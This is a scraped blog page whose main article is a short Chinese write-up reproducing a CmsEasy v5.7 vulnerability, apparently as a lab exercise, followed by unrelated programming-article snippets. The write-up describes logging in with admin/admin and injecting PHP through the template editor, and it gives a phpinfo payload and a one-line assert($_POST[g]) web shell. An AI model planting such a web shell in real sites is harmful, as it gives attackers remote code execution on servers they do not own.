当前位置： 首页 > news >正文

【Web】CmsEasy 漏洞复现

news 2026/4/8 20:18:46

访问主页

 到处点一点没啥发现

扫目录

访问/admin

账号密码都是admin admin(弱口令)

登录成功

看到左边列表有模板，心里大概有数了哈

进行一波历史漏洞的查

 CmsEasy_v5.7 漏洞测试

payload1:

1111111111";}<?php phpinfo()?>

 

 

payload2:

11";}<?php assert($_POST[g]);?>

然而蚁剑连不上

在页面里post传g=phpinfo();可以执行

但g=system('xxx');却不能执行（没有disable_functions）

挺奇怪的，可能不是linux系统？

相关文章：

【Web】CmsEasy 漏洞复现

访问主页 到处点一点没啥发现 扫目录 访问/admin 账号密码都是admin admin(弱口令) 登录成功 看到左边列表有模板&#xff0c;心里大概有数了哈 进行一波历史漏洞的查 CmsEasy_v5.7 漏洞测试 payload1: 1111111111";}<?php phpinfo()?> payload2: 11";…...

编程日记 2023/11/27 18:55:42

Spring 中存储 Bean 的相关注解

Bean的存 IoC控制反转&#xff0c;就是将对象的控制权交给Spring的IOC容器&#xff0c;由IOC容器创建及管理对象。 也就是bean的存储 类注解:五大注解 Controller&#xff08;控制器存储&#xff09; Service&#xff08;服务存储&#xff09; Component&#xff08;组件存储…...

编程日记 2023/11/27 18:54:40

Proteus下仿真AT89C51单片机串行口的问题

在Proteus下仿真AT89C51单片机的串行口的时候&#xff0c;Proteu不同版本下差别较大。     同样的程序&#xff0c;在7.8的老版本&#xff08;7.8版本的原理图仿真软件名称是ISIS 7 Professional&#xff09;下仿真串行口&#xff0c;收发均正常。但是&#xff0c;在8.13版…...

编程日记 2023/11/27 18:53:39

java学习part17

110-面向对象(高级)-关键字final的使用及真题_哔哩哔哩_bilibili 1.概念 tips&#xff1a;java里有const关键字&#xff0c;但是用于保留字&#xff0c;不会使用&#xff0c;目前没有意义。 final变量没有默认赋值&#xff0c;只能在以下三个地方赋值&#xff0c;且只能赋值一…...

编程日记 2023/11/27 18:52:36

Centos 7、Debian、Ubuntu中tree指令的检查与下载

目录 前言 Centos 7中检查tree指令是否安装的两种办法 which指令检查 查看当前版本指令 不同版本下安装tree指令 Centos 7的发行版本 重点 Debian的发行版本 重点 Ubuntu的发行版本 重点 前言 在大多数Linux发行版中&#xff0c;tree命令通常不是默认安装的指令。…...

编程日记 2023/11/27 18:51:35

深拷贝函数

<script>//深拷贝&#xff1a;// 对于基本数据类型来说&#xff0c;拷贝的是栈// 对于复杂数据类型也就是对象来说&#xff0c;拷贝的是堆。深拷贝后引用地址是不同的function deepClone(val){// val是数组if(Array.isArray(val)){let cloneArr []for(let i 0;i < v…...

编程日记 2023/11/27 18:50:34

python小数据分析小结及算法实践集锦

在缺乏大量历史数据的新兴技术和产业中&#xff0c;商业分析可能会面临一些挑战。然而&#xff0c;有一些技术和方法可以帮助分析者在数据不充分的情况下进行科学化商业分析&#xff0c;并为决策提供支持。 1. 当面对缺乏大量历史数据的新兴技术和产业时所采常用的技术和方法 …...

编程日记 2023/11/27 18:49:33

【docker系列】docker高阶篇

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...

编程日记 2023/11/27 18:46:29

SpringBoot校验List失效解决方法

文章目录 SpringBoot校验List失效解决方法附&#xff1a;校验基本数据类型和String类型的方法参数时也需要在类上加Validated SpringBoot校验List失效解决方法 失效场景示例代码&#xff1a; RestController RequestMapping("/v1/jx/flowSummary") Slf4j public cl…...

编程日记 2023/11/27 18:45:28

【KubeSphere】基于AWS在 Linux 上以 All-in-One 模式安装 KubeSphere

文章目录 一、实验配置说明二、实验准备工作1.确认系统版本2. 修改网络DNS3. 关闭SELINUX4. 关闭防火墙 三、实验依赖项安装四、下载 KubeKey五、一键化安装部署六、验证安装结果七、登录KubeSphere管理控制台八、参考链接 一、实验配置说明 本实验基于AWS启动一台新实例&…...

编程日记 2023/11/27 18:44:27

3.一维数组——输入十个数，输出其中最大（小）数

文章目录 前言一、题目描述 二、题目分析 三、解题 程序运行代码 前言 本系列为一维数组编程题&#xff0c;点滴成长&#xff0c;一起逆袭。 一、题目描述 输入十个数&#xff0c;输出其中最大&#xff08;小&#xff09;数 二、题目分析 打擂台法&#xff1a;maxa[0]; 最大…...

编程日记 2023/11/27 18:43:25

mysql高级知识点

一、mysql架构 连接层&#xff1a;负责接收客户端的连接请求&#xff0c;可以进行授权、认证(验证账号密码)。服务层&#xff1a;负责调用sql接口&#xff0c;对sql语法进行解析&#xff0c;对查询进行优化&#xff0c;缓存。引擎层&#xff1a;是真正进行执行sql的地方&#x…...

编程日记 2023/11/27 18:42:24

python pdf转txt文本、pdf转json

文章目录 一、前言二、实现方法1. 目录结构2. 代码 一、前言 此方法只能转文本格式的pdf&#xff0c;如果是图片格式的pdf需要用到ocr包&#xff0c;以后如果有这方面需求再加这个方法 二、实现方法 1. 目录结构 2. 代码 pdf2txt.py 代码如下 #!/usr/bin/env python # -*- …...

编程日记 2023/11/27 18:41:23

LabVIEW中如何达到NI SMU最大采样率

LabVIEW中如何达到NI SMU最大采样率 NISMU的数字化仪功能对于捕获SMU详细的瞬态响应特性或表征待测设备&#xff08;DUT&#xff09;响应&#xff08;例如线性调整率和负载调整率&#xff09;至关重要。没有此功能&#xff0c;将需要一个外部示波器。 例如&#xff0c;假设在…...

编程日记 2023/11/27 18:40:22

redis运维(二十)redis 的扩展应用 lua(二)

一 redis 的扩展应用 lua redis lua脚本语法 ① 什么是脚本缓存 redis 缓存lua脚本 说明&#xff1a; 重启redis,脚本缓存会丢失 下面讲解 SCRIPT ... 系列 SCRIPT ② LOAD 语法&#xff1a;SCRIPT LOAD lua代码 -->载入一个脚本,只是预加载,不执行思考1&#xff1…...

编程日记 2023/11/27 18:39:20

Docker ps命令

docker ps&#xff1a;列出容器。 语法&#xff1a; docker ps [OPTIONS]OPTIONS说明&#xff1a; -a&#xff1a;显示所有的容器&#xff0c;包括未运行的。 -f&#xff1a;根据条件过滤显示的内容。 --format&#xff1a;指定返回值的模板文件。 -l&#xff1a;显示最近…...

编程日记 2023/11/27 18:38:19

前端实现留言板

留言板的主要使用场景是为用户提供一个在网站或应用上留言的平台&#xff0c;这样他们可以分享自己的想法、意见或建议。这些留言可以帮助开发者收集用户反馈&#xff0c;从而改进产品或服务。 使用HTML、CSS和JavaScript实现的留言板&#xff1a;这种方法的优点是简单易实现&a…...

编程日记 2023/11/27 18:37:17

【二叉排序树（Binary Sort Tree）又称为二叉搜索树，二叉查找树，）二叉排序树的操作----插入生成删除】

文章目录 二叉排序树&#xff08;Binary Sort Tree&#xff09;又称为二叉搜索树&#xff0c;二叉查找树&#xff0c;&#xff09;二叉树的查找分析二叉排序树的操作----插入二叉排序树的操作----生成二叉排序树的操作----删除 二叉排序树&#xff08;Binary Sort Tree&#xf…...

编程日记 2023/11/27 18:36:16

Verilog基础：时序调度中的竞争（二）

相关阅读 Verilog基础https://blog.csdn.net/weixin_45791458/category_12263729.html?spm1001.2014.3001.5482 作为一个硬件描述语言&#xff0c;Verilog HDL常常需要使用语句描述并行执行的电路&#xff0c;但其实在仿真器的底层&#xff0c;这些并行执行的语句是有先后顺序…...

编程日记 2023/11/27 18:35:15

云原生周刊：Kubernetes 1.29 中的删除、弃用和主要更改 ｜ 2023.11.27

开源项目推荐 Orphaned ConfigMaps 该版本库包含一个脚本&#xff0c;用于识别 Kubernetes 命名空间中的孤立的配置映射。孤立的配置映射是指那些未被命名空间中的任何活动 Pod 或容器引用的配置映射。 Kubernetes Multi Cooker 该项目包含一个小型 Kubernetes 控制器&…...

编程日记 2023/11/27 18:34:13

ARDUINO编码器反馈电机初步代码

使用的是UNO R3和某淘宝店铺的霍尔编码器电机//输入捕获可用PIN2 //输出PWM可以为任意位置(所用为13) //尝试过直接模拟值输入检测 但是不知道为何总是一样的值 //计划在一个周期扫描高电平unsigned long pwm1_start10,pwm1_start20,t0; int gain11000,gain23000,cnth0,cntl0; …...

编程新知 2026/4/8 20:18:36

GameHub部署指南：Flatpak、AppImage和原生包安装的完整对比

GameHub部署指南&#xff1a;Flatpak、AppImage和原生包安装的完整对比 【免费下载链接】GameHub All your games in one place 项目地址: https://gitcode.com/gh_mirrors/ga/GameHub 想要将所有游戏集中管理在一个地方&#xff1f;GameHub是你的终极游戏库解决方案&am…...

编程新知 2026/4/8 19:49:46

cgm-remote-monitor容器化部署：使用Docker快速部署你的血糖监控系统

cgm-remote-monitor容器化部署&#xff1a;使用Docker快速部署你的血糖监控系统 【免费下载链接】cgm-remote-monitor nightscout web monitor 项目地址: https://gitcode.com/gh_mirrors/cg/cgm-remote-monitor cgm-remote-monitor是一款开源的血糖远程监控系统&#x…...

编程新知 2026/4/8 19:27:26

RedisDesktopManager-Windows核心功能详解：数据库连接、键值管理与数据可视化

RedisDesktopManager-Windows核心功能详解&#xff1a;数据库连接、键值管理与数据可视化 【免费下载链接】RedisDesktopManager-Windows RedisDesktopManager Windows版本 项目地址: https://gitcode.com/gh_mirrors/re/RedisDesktopManager-Windows RedisDesktopManag…...

编程新知 2026/4/8 19:15:19

ANIMATEDIFF PRO企业级部署：API服务化与WebUI双模式运行指南

ANIMATEDIFF PRO企业级部署&#xff1a;API服务化与WebUI双模式运行指南 1. 项目概述与核心价值 ANIMATEDIFF PRO是一个基于先进AnimateDiff架构的专业级文生视频渲染平台&#xff0c;专为追求电影级视觉效果的内容创作者和AI艺术家设计。这个平台集成了Realistic Vision V5.…...

编程新知 2026/4/8 18:59:02

Horizon UAG网关配置避坑指南：从OVF导入到外网访问，一次搞定所有疑难杂症

Horizon UAG网关配置实战&#xff1a;从部署到外网访问的深度排错手册 每次看到Horizon UAG网关服务器状态变红&#xff0c;IT运维人员的心跳都会跟着加速。这不是简单的配置错误&#xff0c;而是整个虚拟桌面基础设施对外服务能力的警报。本文将带您深入UAG配置的核心痛点&…...

编程新知 2026/4/8 18:42:58

如何用AGORA数据集快速提升你的3D人体姿态估计模型（附SMPL-X真值使用技巧）

如何用AGORA数据集快速提升你的3D人体姿态估计模型&#xff08;附SMPL-X真值使用技巧&#xff09; 在计算机视觉领域&#xff0c;3D人体姿态估计一直是研究热点&#xff0c;但高质量标注数据的获取成本极高。AGORA数据集的出现为这一难题提供了突破性解决方案——它通过高度逼…...

编程新知 2026/4/8 17:54:07

Transformer算子实现及高阶可视化

支持&#xff1a; 输入任意源句子 / 目标句子任意 head 数任意层数任意 d_model / d_ffencoder self-attentiondecoder masked self-attentioncross-attention逐层热力图输出逐层逐帧动画输出&#xff08;GIF / MP4&#xff09; 下载脚本&#xff1a; transformer_attention_…...

编程新知 2026/4/8 17:31:31

终极指南：使用WeChatExporter安全备份你的微信聊天记录

终极指南&#xff1a;使用WeChatExporter安全备份你的微信聊天记录 【免费下载链接】WeChatExporter 一个可以快速导出、查看你的微信聊天记录的工具 项目地址: https://gitcode.com/gh_mirrors/wec/WeChatExporter 在数字化时代&#xff0c;微信聊天记录已经成为我们生…...

编程新知 2026/4/8 15:54:45

你的AirPods在Windows上总是“水土不服“？AirPodsDesktop让苹果耳机完美适配PC

你的AirPods在Windows上总是"水土不服"&#xff1f;AirPodsDesktop让苹果耳机完美适配PC 【免费下载链接】AirPodsDesktop ☄️ AirPods desktop user experience enhancement program, for Windows and Linux (WIP) 项目地址: https://gitcode.com/gh_mirrors/ai/…...

编程新知 2026/4/8 15:13:52